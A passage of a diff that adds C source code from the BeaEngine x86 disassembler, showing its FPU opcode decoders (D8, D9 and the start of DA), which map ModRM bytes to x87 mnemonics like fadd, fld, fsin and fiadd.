((*pMyDisasm).Instruction.Mnemonic, "fsub "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 6) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fadd "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fmul "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcom "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcomp "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xe0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsub "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsubr "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xf0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdiv "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdivr "); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ D9_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg1dword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fst "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg1dword; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2multibytes; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldenv "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg2word; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldcw "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg1multibytes; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstenv "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg1word; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstcw "); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + else { + if ((MyMODRM & 0xf0) == 0xc0) { + if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld "); + #endif + } + else { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxch "); + #endif + (*pMyDisasm).Argument2.AccessMode = WRITE; + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf0) == 0xd0) { + if ((MyMODRM & 0xf) ==0) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fnop "); + #endif + } + else if (((MyMODRM & 0xf) >=0x8) && ((MyMODRM & 0xf) <=0xf)) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp1 "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[(MyMODRM & 0xf)%8]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + + } + else if ((MyMODRM & 0xf0) == 0xe0) { + if ((MyMODRM & 0xf) ==0) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fchs "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==1) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fabs "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==4) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ftst "); + #endif + } + else if ((MyMODRM & 0xf) ==5) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxam "); + #endif + } + else if ((MyMODRM & 0xf) ==8) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld1 "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + + } + else if ((MyMODRM & 0xf) ==9) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldl2t "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xa) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldl2e "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xb) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldpi "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xc) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldlg2 "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + } + + else if ((MyMODRM & 0xf) ==0xd) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldln2 "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xe) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOAD_CONSTANTS; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldz "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 80; + } + + else { + FailDecode(pMyDisasm); + } + } + else if ((MyMODRM & 0xf0) == 0xf0) { + if ((MyMODRM & 0xf) ==0) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOGARITHMIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "f2xm1 "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==1) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOGARITHMIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fyl2x "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==2) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+TRIGONOMETRIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fptan "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==3) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+TRIGONOMETRIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fpatan "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==4) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxtract "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==5) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fprem1 "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==6) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdecstp "); + #endif + } + else if ((MyMODRM & 0xf) ==7) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fincstp "); + #endif + } + else if ((MyMODRM & 0xf) ==8) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fprem "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==9) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOGARITHMIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fyl2xp1 "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xa) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsqrt "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xb) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+TRIGONOMETRIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsincos "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xc) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "frndint "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xd) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+LOGARITHMIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fscale "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xe) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+TRIGONOMETRIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsin "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if ((MyMODRM & 0xf) ==0xf) { + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+TRIGONOMETRIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcos "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else { + FailDecode(pMyDisasm); + } + } + } + GV.EIP_ += GV.DECALAGE_EIP+2; +} + + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ DA_(PDISASM pMyDisasm) +{ + long MyMODRM; + char (*pRegistersFPU)[8][8] ; + + GV.DECALAGE_EIP = 0; + if (!Security(1, pMyDisasm)) {return;} + MyMODRM = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + pRegistersFPU = &RegistersFPU_Masm; + if (GV.SYNTAX_ == NasmSyntax) { + pRegistersFPU = &RegistersFPU_Nasm; + } + if (MyMODRM <= 0xbf) { + + GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; + if (GV.REGOPCODE == 0) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fiadd "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 1) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fimul "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 2) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficom "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else if (GV.REGOPCODE == 3) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficomp "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + (*pMyDisasm).Argument1.AccessMode = READ; + } + else if (GV.REGOPCODE == 4) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisub "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 5) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisubr "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 6) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidiv "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+FPU_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 80; + } + else if (GV.REGOPCODE == 7) { + GV.MemDecoration = Arg2dword; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidivr "); + #endif + (*pMyDisasm).Argument1.ArgType = 